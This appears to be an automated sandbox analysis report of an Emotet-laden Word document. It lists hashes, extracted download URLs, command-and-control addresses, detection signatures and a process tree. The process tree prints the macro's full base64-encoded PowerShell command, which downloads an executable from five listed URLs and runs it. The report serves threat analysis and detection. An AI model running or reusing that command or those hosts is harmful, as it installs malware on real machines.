Analysis
-
max time kernel
139s -
max time network
148s -
platform
windows10_x64 -
resource
win10v200722 -
submitted
31-07-2020 18:32
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e1_91cd68f6c9d5e7f41d01660ade2d22c62e302d123268b457db582ad60d127ce6_2020-07-31__183210._doc.doc
Resource
win7
General
-
Target
emotet_e1_91cd68f6c9d5e7f41d01660ade2d22c62e302d123268b457db582ad60d127ce6_2020-07-31__183210._doc.doc
-
Size
168KB
-
MD5
94f174c31cea4007a0a720a9c8feabfa
-
SHA1
72269fcb459a6dc961829e7efe6f7ff3eee68269
-
SHA256
91cd68f6c9d5e7f41d01660ade2d22c62e302d123268b457db582ad60d127ce6
-
SHA512
2f04d72862dcc7f99554a5f19aa32a9e08f970ef6b6174d0299fcbe4ac6886c6d32e80e822919c0356ccbcb365cf0ca7873839e5e938e79470063079705a30af
Malware Config
Extracted
http://artexproductions.com/cgi-bin/xHdbmk/
http://whistledownfarm.com/cgi-bin/tlsjw81/
http://e-motiva.com/wp-admin/bFr531220/
http://stolkie.net/m/H0LV59574/
http://www.faccomputer.com/images/5mMAg7bKKK/
Extracted
emotet
73.116.193.136:80
185.94.252.13:443
149.62.173.247:8080
89.32.150.160:8080
185.94.252.12:80
77.90.136.129:8080
83.169.21.32:7080
104.236.161.64:8080
114.109.179.60:80
189.2.177.210:443
68.183.190.199:8080
144.139.91.187:443
185.94.252.27:443
190.181.235.46:80
82.196.15.205:8080
46.28.111.142:7080
181.167.96.215:80
202.62.39.111:80
219.92.13.25:80
191.99.160.58:80
50.28.51.143:8080
172.104.169.32:8080
192.241.146.84:8080
82.240.207.95:443
80.249.176.206:80
2.47.112.152:80
212.231.60.98:80
77.55.211.77:8080
170.81.48.2:80
5.196.35.138:7080
143.0.87.101:80
190.6.193.152:8080
217.199.160.224:7080
187.162.248.237:80
93.151.186.85:80
177.74.228.34:80
204.225.249.100:7080
217.13.106.14:8080
51.255.165.160:8080
104.131.103.37:8080
177.72.13.80:80
190.163.31.26:80
186.70.127.199:8090
61.92.159.208:8080
12.162.84.2:8080
71.50.31.38:80
186.250.52.226:8080
92.23.34.86:80
177.144.135.2:80
201.213.156.176:80
190.147.137.153:443
94.176.234.118:443
181.129.96.162:8080
178.79.163.131:8080
111.67.12.221:8080
177.66.190.130:80
191.182.6.118:80
68.183.170.114:8080
177.73.0.98:443
203.25.159.3:8080
45.161.242.102:80
181.120.79.227:80
72.47.248.48:7080
177.139.131.143:443
189.194.58.119:80
137.74.106.111:7080
189.1.185.98:8080
190.194.242.254:443
190.17.195.202:80
192.241.143.52:8080
87.106.46.107:8080
212.71.237.140:8080
179.60.229.168:443
70.32.84.74:8080
70.32.115.157:8080
104.131.41.185:8080
Signatures
-
Blacklisted process makes network request 2 IoCs
flow pid Process 17 2176 powersheLL.exe 19 2176 powersheLL.exe -
Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3824-11-0x00000000006F0000-0x00000000006FC000-memory.dmp emotet behavioral2/memory/3824-11-0x00000000006F0000-0x00000000006FC000-memory.dmp emotet behavioral2/memory/3980-14-0x00000000001E0000-0x00000000001EC000-memory.dmp emotet behavioral2/memory/3980-14-0x00000000001E0000-0x00000000001EC000-memory.dmp emotet -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\perfts\keyiso.exe 273.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3096 WINWORD.EXE 3096 WINWORD.EXE 3096 WINWORD.EXE 3096 WINWORD.EXE 3096 WINWORD.EXE 3096 WINWORD.EXE 3096 WINWORD.EXE 3096 WINWORD.EXE 3096 WINWORD.EXE 3096 WINWORD.EXE 3096 WINWORD.EXE 3824 273.exe 3980 keyiso.exe -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3096 WINWORD.EXE 3096 WINWORD.EXE -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2176 3176 powersheLL.exe 66 -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2176 powersheLL.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 2176 powersheLL.exe 2176 powersheLL.exe 2176 powersheLL.exe 3980 keyiso.exe 3980 keyiso.exe 3980 keyiso.exe 3980 keyiso.exe 3980 keyiso.exe 3980 keyiso.exe -
Executes dropped EXE 2 IoCs
pid Process 3824 273.exe 3980 keyiso.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 3824 wrote to memory of 3980 3824 273.exe 76 PID 3824 wrote to memory of 3980 3824 273.exe 76 PID 3824 wrote to memory of 3980 3824 273.exe 76 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_91cd68f6c9d5e7f41d01660ade2d22c62e302d123268b457db582ad60d127ce6_2020-07-31__183210._doc.doc" /o ""1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Enumerates system info in registry
PID:3096
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABSAEoARgBDAE4AYgBrAHIAPQAnAFYAQwBXAFYAWgBtAHAAaQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBVAHIAaQBgAFQAWQBQAGAAUgBPAHQAbwBDAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAFcARwBGAE0AUQByAHkAcQAgAD0AIAAnADIANwAzACcAOwAkAE0AQQBBAEkARQB6AHUAaAA9ACcASQBVAFgAWgBDAHAAbgB1ACcAOwAkAEQAWQBPAEUAQQBoAGMAcwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVwBHAEYATQBRAHIAeQBxACsAJwAuAGUAeABlACcAOwAkAEIATABNAFQASQBjAGgAcAA9ACcAQgBHAFMAWABIAGsAYwBlACcAOwAkAEEAUQBXAEUAUQB4AG0AZgA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBlAHQALgB3AGUAQgBjAEwAaQBlAE4AdAA7ACQAUQBBAEkATABXAGcAcQBuAD0AJwBoAHQAdABwADoALwAvAGEAcgB0AGUAeABwAHIAbwBkAHUAYwB0AGkAbwBuAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwB4AEgAZABiAG0AawAvACoAaAB0AHQAcAA6AC8ALwB3AGgAaQBzAHQAbABlAGQAbwB3AG4AZgBhAHIAbQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHQAbABzAGoAdwA4ADEALwAqAGgAdAB0AHAAOgAvAC8AZQAtAG0AbwB0AGkAdgBhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBiAEYAcgA1ADMAMQAyADIAMAAvACoAaAB0AHQAcAA6AC8ALwBzAHQAbwBsAGsAaQBlAC4AbgBlAHQALwBtAC8ASAAwAEwAVgA1ADkANQA3ADQALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBmAGEAYwBjAG8AbQBwAHUAdABlAHIALgBjAG8AbQAvAGkAbQBhAGcAZQBzAC8ANQBtAE0AQQBnADcAYgBLAEsASwAvACcALgAiAFMAUABsAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUQBBAEIAQwBTAHUAcwBpAD0AJwBZAEQAVABGAE0AcwBtAGgAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFYASwBPAFgAVABiAGUAZAAgAGkAbgAgACQAUQBBAEkATABXAGcAcQBuACkAewB0AHIAeQB7ACQAQQBRAFcARQBRAHgAbQBmAC4AIgBkAGAAbwB3AE4AbABPAEEAZABGAGAAaQBgAGwARQAiACgAJABWAEsATwBYAFQAYgBlAGQALAAgACQARABZAE8ARQBBAGgAYwBzACkAOwAkAEkAUwBSAFkAQgBvAHAAdAA9ACcAWgBMAE0ATQBXAHkAZAB3ACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJACcAKwAnAHQAZQBtACcAKQAgACQARABZAE8ARQBBAGgAYwBzACkALgAiAGwAZQBgAE4AZwBUAGgAIgAgAC0AZwBlACAAMwA1ADQAMgAxACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAGAAUgBlAGEAVABFACIAKAAkAEQAWQBPAEUAQQBoAGMAcwApADsAJABZAFMAUwBCAEEAcQBqAG0APQAnAFYAVABBAEwAWgBvAHUAbAAnADsAYgByAGUAYQBrADsAJABTAFkATgBOAFoAdABzAHgAPQAnAEwARwBVAEIAUQB5AGwAagAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABRAFEAUQBIAFMAYgB5AHgAPQAnAFkAWgBOAFkAQwBuAGoAZAAnAA==1⤵
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:2176
-
C:\Users\Admin\273.exeC:\Users\Admin\273.exe1⤵
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3824 -
C:\Windows\SysWOW64\perfts\keyiso.exe"C:\Windows\SysWOW64\perfts\keyiso.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
PID:3980
-